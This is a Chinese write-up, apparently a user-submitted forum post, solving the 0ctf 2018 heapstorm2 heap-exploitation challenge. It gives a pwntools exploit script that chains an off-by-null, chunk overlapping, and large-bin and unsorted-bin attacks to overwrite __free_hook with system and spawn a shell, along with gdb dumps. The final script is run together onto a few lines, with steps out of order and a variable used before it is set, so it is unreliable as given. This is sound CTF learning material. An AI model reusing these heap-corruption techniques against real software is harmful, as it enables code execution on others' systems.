分配chunk
编辑函数
这里strcpy off-by-null,读满会把 '\x00' 复制过去 off-by-null
删除 没有UAF
打印信息
它会对存储在0x13370810的数据进行异或,0x13370818先继续显示结果是否0x13377331。但问题是这两个值被初始化成了相同的随机值。除非能打破二进制中的这个检查,否则我们无法轻易读取目标的值。
因此,该挑战的主要目标是覆盖0x13370810和0x13370818处的值。- //code 1
- if (size == nb)
- {
- set_inuse_bit_at_offset (victim, size);
- if (av != &main_arena)
- set_non_main_arena (victim);
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
-
- //code 2
- else
- {
- victim->fd_nextsize = fwd;
- victim->bk_nextsize = fwd->bk_nextsize;
- fwd->bk_nextsize = victim;
- victim->bk_nextsize->fd_nextsize = victim;
- }
- bck = fwd->bk;
复制代码 这两段代码都嵌入在从未排序的bin中获取可用分块的过程中。
代码1负责将检索到的分块返回应用程序,前提是分块大小等于请求的大小。
代码2负责插入检索到的块信息对应的大bin。它与未排序分包攻击非常相似,后者会用不可控地址覆盖目标地址。
这个漏洞的全部目的就是通过创建重叠的区块,在0x133707c0创建一个带有代码2的假区块。
然后用重叠的块破坏未排序箱中一个块的 bk,0x133707c0并尝试分配一个大小为 0x48 的块,从而获得分配到0x133707d0的块。
由于大小限制,无法破坏存储指针和大小的数据区,我们重复上述步骤,获得分配的块0x133707d8。
然后我们可以覆盖任何地方的任何东西
一开始的错误写法
写出自动化脚本- 在这里插入代码片from pwn import *
- p = process('./0ctf_2018_heapstorm2')
- elf = ELF('./0ctf_2018_heapstorm2')
- libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
- def debug():
- gdb.attach(p)
- pause()
- def add(size):
- p.sendlineafter(b'Command: ',b'1')
- p.sendlineafter(b'Size: ',str(size).encode())
-
- def edit(index, content):
- p.sendlineafter(b'Command: ',b'2')
- p.sendlineafter(b'Index: ',str(index).encode())
- p.sendlineafter(b'Size: ',str(len(content)).encode())
- p.sendafter(b'Content: ',content)
- def delete(index):
- p.sendlineafter(b'Command: ',b'3')
- p.sendlineafter(b'Index: ',str(index).encode())
- def view(index):
- p.sendlineafter(b'Command: ',b'4')
- p.sendlineafter(b'Index: ',str(index).encode())
复制代码 先分配chunk- add(0x400) #0 # size=0x411 (small/large边界)
- add(0x20) #1 # size=0x31
- add(0x400) #2 # size=0x411
- add(0x28) #3 # size=0x31 (有off-by-null漏洞)
- add(0xfe0) #4 # size=0xff1 (large chunk)
- add(0x40) #5 # size=0x51 (防止合并)
复制代码 因为我们edit的时候有off-by-null漏洞,会影响到下一个chunk的size,我们可以先从chunk4里面伪造chunk,使得伪造的chunk的下一个chunk的prev_size是我们的伪造的chunk,但是因为edit会自动追加0x10字节的HEAPSTORM_II,所以我们可以再伪造一个chunk来存放这个值。
所以我们第一步应该是
在chunk4内部布置伪造的metadata,伪造一个size=0xf00的chunk,一个0x21的chunk,为了后续off-by-null修改size后,堆管理器检查时能看到合法的metadata- edit(4,b'a'*0xef0 + p64(0xf00) + p64(0x21) + p64(0)*2 + p64(0) + p64(0x21))
复制代码
然后delete(4),释放到unsortedbin
- 0x00005555557588c0 topchunk
- 0x0000555555757880 unsortedbin
复制代码 然后利用off-by-null,将null终止符溢出到chunk4的size字段溢出前:
溢出后:
这时候我们就伪造出来了一个0xf00的chunk和prev_size为0xf00的0x21的chunk- add(0x140) #1 这个大小这个范围内应该都可以
复制代码 再进行largebin攻击
分配2个0x410chunk- add(0x20) #6 分隔
- add(0x400)#7
- add(0x20) #8 分隔
- add(0x400)#9
- add(0x20) #10 分隔
复制代码 free掉- delete(4)
- delete(7)
- delete(9)
复制代码- 0x555555757e40 #chunk9
- 0x555555757a00 #chunk7
- 0x555555757880 #chunk4_new
- 0x555555758280 #合并的chunk
- 0x7ffff7dd1b78 (main_arena+88)
复制代码 清理内存,使其成为allocate(0x500)的最佳选择,准备进行largebinattack
- unsorted_bin -> 0x411 -> 0x411 -> 0x501
复制代码 chunk4_new被扩容了,现在是一个巨大的free chunk
现在为largebin攻击申请回chunk5- add(0x420) #4
- add(0x500) #5
复制代码 Large Bin Attack阶段
第一步:修改large bin chunk的metadata- edit(5,b'b'*0x170 + p64(0) + p64(0x401) + p64(0x133707b3)*4)
复制代码- 通过chunk5写入:
- ┌─────────────────────────────────────────────────────────────┐
- │ chunk5内存内容(update 0x1a0字节): │
- ├─────────────────────────────────────────────────────────────┤
- │ "b"*0x170 │
- │ prev_size: 0x0 │
- │ size: 0x401 │
- │ fd: 0x133707b3 ← 指向目标地址 │
- │ bk: 0x133707b3 │
- │ fd_nextsize: 0x133707b3 │
- │ bk_nextsize: 0x133707b3 ← 关键!large bin attack目标 │
- └─────────────────────────────────────────────────────────────┘
复制代码
第二步:触发第一次large bin attack- ┌─────────────────────────────────────────────────────────────┐
- │ 操作流程: │
- ├─────────────────────────────────────────────────────────────┤
- │ 1. delete(0): chunk0释放到unsorted bin │
- │ ┌────────────┐ ┌────────────┐ ┌────────────┐ │
- │ │ unsorted │────▶│ chunk0 │────▶│ chunk7 │ ... │
- │ │ bin链表 │ │ size=0x411 │ │ size=0x411 │ │
- │ └────────────┘ └────────────┘ └────────────┘ │
- │ │
- │ 2. allocate(0x30): 触发整理 │
- │ - chunk0从unsorted bin取出 │
- │ - 放入large bin(大小0x411) │
- │ - 执行large bin插入操作 │
- │ │
- │ 3. large bin attack发生: │
- │ victim->bk_nextsize->fd_nextsize = victim │
- │ ↓ │
- │ 向 0x133707b3 + 0x20 写入 chunk0的地址! │
- └─────────────────────────────────────────────────────────────┘
复制代码
第二次large bin attack- edit(5,b'a'*0x170 + p64(0) + p64(0x401) + p64(0x133707c8)*4)
- delete(2)
- add(0x30) #2
复制代码
清理unsorted bin,为后续攻击准备干净环境
现在准备使用伪造unsorted bin chunk攻击
第一步:在chunk5中构造fake chunk- edit(5,b'c'*0x140 + p64(0) + p64(0x101) + b'd'*0xf0 + p64(0) + p64(0x21) + p64(0) *3 + p64(0x21))
复制代码- ┌─────────────────────────────────────────────────────────────┐
- │ chunk5内存(update 0x270字节): │
- ├─────────────────────────────────────────────────────────────┤
- │ "c"*0x140 │
- │ fake_chunk1: │
- │ prev_size: 0x0 │
- │ size: 0x101 ← 准备放入unsorted bin的大小 │
- │ 用户数据: "d"*0xf0 │
- │ │
- │ fake_chunk2: │
- │ prev_size: 0x0 │
- │ size: 0x21 │
- │ fd: 0x0 │
- │ bk: 0x0 │
- │ ...其他字段 │
- └─────────────────────────────────────────────────────────────┘
复制代码
第二步:触发unsorted bin attack- delete(6)
- edit(5,b'e'*0x140 + p64(0) + p64(0x101) + p64(0x133707b3)*2)
- add(0x40)
复制代码- 1. delete(6): 释放chunk6到unsorted bin
- ┌────────────┐
- │ unsorted │──┐
- │ bin链表 │ │
- └────────────┘ │
- ▼
- ┌────────────┐
- │ chunk6 │
- │ size=0x31 │
- └────────────┘
- 2. update(5, 0x160): 修改fake chunk的bk指针
- fake_chunk1.bk = 0x133707c0 ← 关键!指向目标地址
-
- 3. allocate(0x40): 触发分配
- glibc遍历unsorted bin:
- 最后一个chunk → 倒数第二个chunk → ... → chunk6
- 当到达"最后一个chunk"时,发现它的bk指向0x133707c0
- 于是认为0x133707c0是一个chunk,从那里分配!
-
- 4. 结果:在0x133707d0分配了chunk6!
复制代码 但是这个时候
检查到之前的布局出现了问题- gdb-peda$ x/30gx 0x555555757880 + 0x140
- 0x5555557579c0: 0x6363636363636363 0x6363636363636363
- 0x5555557579d0: 0x0000000000000000 0x0000000000000101
- 0x5555557579e0: 0x6464646464646464 0x6464646464646464
- 0x5555557579f0: 0x6464646464646464 0x6464646464646464
- gdb-peda$ x/30gx 0x555555757880 + 0x140 + 0xf0
- 0x555555757ab0: 0x6464646464646464 0x6464646464646464
- 0x555555757ac0: 0x6464646464646464 0x6464646464646464
- 0x555555757ad0: 0x0000000000000000 0x0000000000000021
- 0x555555757ae0: 0x0000000000000000 0x0000000000000000
- 0x555555757af0: 0x0000000000000000 0x0000000000000021
- 0x555555757b00: 0x524f545350414548 0x0000000049495f4d
- 0x555555757b10: 0x0000000000000000 0x0000000000000000
- 0x555555757b20: 0x0000000000000000 0x0000000000000000
复制代码- 0x5555557579d0: 0x0000000000000000 prev_size=0
- 0x5555557579d8: 0x0000000000000101 size=0x101 ✓
- 0x5555557579e0: 0x6464646464646464 fd指针 = 'dddddddd' ❌
- 0x5555557579e8: 0x6464646464646464 bk指针 = 'dddddddd' ❌
复制代码 正确的payload结构- 偏移0x000-0x13F: 'c'*0x140 (填充)
- 偏移0x140: prev_size=0
- 偏移0x148: size=0x101
- 偏移0x150: fd=0x133707c0 ← 这里!
- 偏移0x158: bk=0x133707c0 ← 这里!
- 偏移0x160开始: 其他数据...
复制代码- # 正确的构造
- payload = (
- b'c'*0x140 + # 填充到fake chunk开始
- p64(0) + p64(0x101) + # fake chunk header
- p64(0x133707c0) + p64(0x133707c0) + # fd和bk指针!
- b'd'*(0xf0 - 0x10) + # 用户数据(减去fd/bk的16字节)
- p64(0) + p64(0x21) + # 下一个fake chunk header
- p64(0)*3 + p64(0x21) # 其他字段
- )
- # 确保总长度正确
- edit(5, payload)
复制代码- gdb-peda$ x/30gx 0x555555757880 + 0x140
- 0x5555557579c0: 0x6363636363636363 0x6363636363636363
- 0x5555557579d0: 0x0000000000000000 0x0000000000000101
- 0x5555557579e0: 0x00000000133707c0 0x00000000133707c0
- 0x5555557579f0: 0x6464646464646464 0x6464646464646464
- 0x555555757a00: 0x6464646464646464 0x6464646464646464
- 0x555555757a10: 0x6464646464646464 0x6464646464646464
- 0x555555757a20: 0x6464646464646464 0x6464646464646464
- 0x555555757a30: 0x6464646464646464 0x6464646464646464
- 0x555555757a40: 0x6464646464646464 0x6464646464646464
- 0x555555757a50: 0x6464646464646464 0x6464646464646464
- 0x555555757a60: 0x6464646464646464 0x6464646464646464
- 0x555555757a70: 0x6464646464646464 0x6464646464646464
- 0x555555757a80: 0x6464646464646464 0x6464646464646464
- 0x555555757a90: 0x6464646464646464 0x6464646464646464
- 0x555555757aa0: 0x6464646464646464 0x6464646464646464
- gdb-peda$ x/30gx 0x555555757880 + 0x140 + 0xf0 -0x10
- 0x555555757aa0: 0x6464646464646464 0x6464646464646464
- 0x555555757ab0: 0x6464646464646464 0x6464646464646464
- 0x555555757ac0: 0x6464646464646464 0x6464646464646464
- 0x555555757ad0: 0x0000000000000000 0x0000000000000021
- 0x555555757ae0: 0x0000000000000000 0x0000000000000000
- 0x555555757af0: 0x0000000000000000 0x0000000000000021
- 0x555555757b00: 0x524f545350414548 0x0000000049495f4d
复制代码 但是依然有问题,所以要换方法
远程成功版本
结合 largebin攻击 off-by-null chunk-extend unsortedbin攻击
首先进行堆布局,为over-lapping做准备- add(0x18) #0
- add(0x508) #1 # large chunk
- add(0x18) #2
- add(0x18) #3
- add(0x508) #4 # large chunk
- add(0x18) #5
- add(0x18) #6
复制代码
分配成功
现在修改largebin的metadata,为overlapping做准备- edit(1,b'a'*0x4f0 + p64(0x500))
- edit(4,b'b'*0x4f0 + p64(0x500))
复制代码
现在借助strcpy会将null溢出到下一个字节来修改511->500- delete(1) #1
- edit(0,b'a'*(0x18-12))
复制代码 使chunk7与原始的chunk1区域重叠。
进一步控制over-lapping区域- 删除和重新分配操作:
- 1. delete(1), delete(2) - 释放两个chunk
- 2. alloc(0x38) #1, overlap to chunk 7
- 3. alloc(0x4e8) #2 - 更大的chunk
- 这使得chunk1可以控制更多的内存区域
复制代码
这时候你可能发现之前分配的chunk7没有了
这个chunk7是在的时候没有的
然后同样的步骤对另一个largechunk进行操作- delete(4) #4
- edit(3,b'b'*(0x18-12))
- add(0x18) #4
- add(0x4d8) #8
- delete(4)
- delete(5)
- add(0x48) #4
- add(0x4e8) #6
复制代码 至此over-lappling阶段结束
- base = 0x13370000
- read(..., 0x13370800, 0x18) 的目标地址是 0x13370800
- 0x13370800 - 0x13370000 = 0x800
复制代码 程序把全局管理结构/表放在 mmap 的那页里偏移 0x800 的位置,并且后续一直用绝对地址 0x13370800 操作它。- 结合 sub_BB0/sub_BCC:
- sub_BB0(ptr, x) = *(ptr+0) XOR x
- sub_BCC(ptr, x) = *(ptr+8) XOR x
- 所以当 x=0 时:
- sub_BB0(heaparray,0) = key0(heaparray[0])
- sub_BCC(heaparray,0) = key1(heaparray[1])
复制代码 这意味着:每个条目初始都存了某个 key 值,表示“未使用”。
View(sub_11B5)——权限检查(你的绕过目标)- if ((heaparray[0x10] XOR heaparray[0x18]) != 0x13377331) deny;
复制代码 也就是:
- 需要让 heaparray+0x10 和 heaparray+0x18 的 xor 等于 0x13377331 才能 view。
exp 最终会把 heaparray 里的关键字段改成:
- heaparray[0x10] = 0x13377331
- heaparray[0x18] = 0 或类似组合(总之 xor 结果等于 0x13377331),来获得 View 权限。
伪造 chunk + 控制 heaparray- heaparray = 0x13370000 + 0x800
- fake_chunk = heaparray - 0x20
复制代码 为后面利用glibc堆管理器合法我们的伪chunk做准备- payload1 = b'g' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
- edit(7,payload1)
复制代码
- 0x13370800: 0x272d6abe1dc9772b 0xe9552fddd1062d58 <-- key0, key1(随机)
- 0x13370810: 0xb748208927a175e6 0xb748208927a175e6 <-- 0x10 和 0x18 复制相等(初始)
- 0x13370820: entry0.enc_ptr entry0.enc_size
- 0x13370830: entry1.enc_ptr entry1.enc_size
复制代码 准备一个“可控数据块”当作后续伪结构容器- payload2 = b'f' * 0x10 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8)
- payload2 += p64(0) + p64(fake_chunk -0x18 -5)
- edit(8,payload2)
复制代码 把“权限 + 指针锚点”写进 chunk2序号 值 十六进制 直观含义(利用语义)
Q0 0 0x0 填充/占位(保持某些字段为 0,避免破坏)
Q1 0 0x0 填充/占位
Q2 0 0x0 填充/占位
Q3 0x13377331 0x13377331 View 权限校验关键常量
Q4 heaparray 0x13370800 把 heaparray 作为“基址/锚点”放进结构
Q5 0x1000 0x1000 长度/上界(常用来伪造 size/limit)
Q6 heaparray-0x20+3 0x133707e3 你要读的目标地址(带 +3 的错位)
Q7 8 0x8 要读出的字节数(8 字节)
0x1000 正好是 mmap 那页的大小
所以它常被用作:
- “你这个缓冲区长度/最大范围”
- “允许你读写整个 heaparray 页面(从 0x13370000 到 0x13371000)的上界”
- heaparray = 0x13370800
- heaparray - 0x20 = 0x133707e0(定义的 fake_chunk)
- +3 => 0x133707e3
- payload3= p64(0)*5 + p64(0x13377331) + p64(heaparray)
- edit(2,payload3)
复制代码 这样就可以泄露出heap指针chunk
同样的方法来把任意读地址改成 chunk+0x10,泄漏 libc- payload4 = p64(0)*3 + p64(0x13377331) + p64(heaparray)
- payload4 += p64(0x1000) + p64(heaparray - 0x20 + 3) + p64(8)
- edit(0, payload4)
复制代码 最后把“任意写”落到 __free_hook,并在内存里放 /bin/sh- view(1)
- p.recvuntil(b']: ')
- chunk = u64(p.recv(8))
- log.success('chunk -> {}'.format(hex(chunk)))
复制代码 delete 会取出 entry[2] 的 ptr_real 作为参数调用 free(ptr)。
如果你把 __free_hook 改成 system,那么 free(ptr) 实际会变成:
- system(ptr)
所以 ptr 必须指向一个 C 字符串:"/bin/sh\x00"。
delete(2) 逻辑是:
- ptr = decrypt(entry[2].enc_ptr)
- free(ptr)
- entry[2] 清空回 key(enc_ptr=key0, enc_size=key1)
因为已经:
- __free_hook = system
所以这里变成:
- system(ptr)
在前面安排 ptr == heaparray+0x48,且那里是 "/bin/sh\x00"。
于是拿 shell。
!!!!一定要用libc-2.23.buu.so!!!!
- from pwn import *p = process('./0ctf_2018_heapstorm2')#p = remote('node5.buuoj.cn',25543)elf = ELF('./0ctf_2018_heapstorm2')#libc = ELF('libc-2.23.buu.so')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def debug(): gdb.attach(p) pause()def add(size): p.sendlineafter(b'Command: ',b'1') p.sendlineafter(b'Size: ',str(size).encode()) def edit(index, content): p.sendlineafter(b'Command: ',b'2') p.sendlineafter(b'Index: ',str(index).encode()) p.sendlineafter(b'Size: ',str(len(content)).encode()) p.sendlineafter(b'Content: ',content)def delete(index): p.sendlineafter(b'Command: ',b'3') p.sendlineafter(b'Index: ',str(index).encode())def view(index): p.sendlineafter(b'Command: ',b'4') p.sendlineafter(b'Index: ',str(index).encode())add(0x18) #0add(0x508) #1add(0x18) #2add(0x18) #3add(0x508) #4add(0x18) #5add(0x18) #6edit(1,b'a'*0x4f0 + p64(0x500))
- edit(4,b'b'*0x4f0 + p64(0x500))delete(1) #1
- edit(0,b'a'*(0x18-12))add(0x18) #1add(0x4d8) #7#debug()delete(1)#debug()delete(2)#debug()add(0x38) #1add(0x4e8) #2delete(4) #4edit(3,b'b'*(0x18-12))add(0x18) #4add(0x4d8) #8delete(4)delete(5)add(0x48) #4delete(2)add(0x4e8) #6delete(2)#add(0x600)#debug()heaparray = 0x13370000 + 0x800
- fake_chunk = heaparray - 0x20payload1 = b'g' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
- edit(7,payload1)#debug()payload2 = b'f' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8)payload2 += p64(0) + p64(fake_chunk -0x18 -5)edit(8,payload2)#debug()add(0x48)#2payload3 = p64(0)*5 + p64(0x13377331) + p64(heaparray)#debug()edit(2,payload3)#debug()add(0x48) #2payload3= p64(0)*5 + p64(0x13377331) + p64(heaparray)
- edit(2,payload3)chunk_fd = chunk + 0x10payload5 = p64(0)*3 + p64(0x13377331) + p64(heaparray)payload5 += p64(0x1000) + p64(chunk_fd) + p64(8)edit(0,payload5)payload4 = p64(0)*3 + p64(0x13377331) + p64(heaparray)
- payload4 += p64(0x1000) + p64(heaparray - 0x20 + 3) + p64(8)
- edit(0, payload4)view(1)
- p.recvuntil(b']: ')
- chunk = u64(p.recv(8))
- log.success('chunk -> {}'.format(hex(chunk)))
复制代码 来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |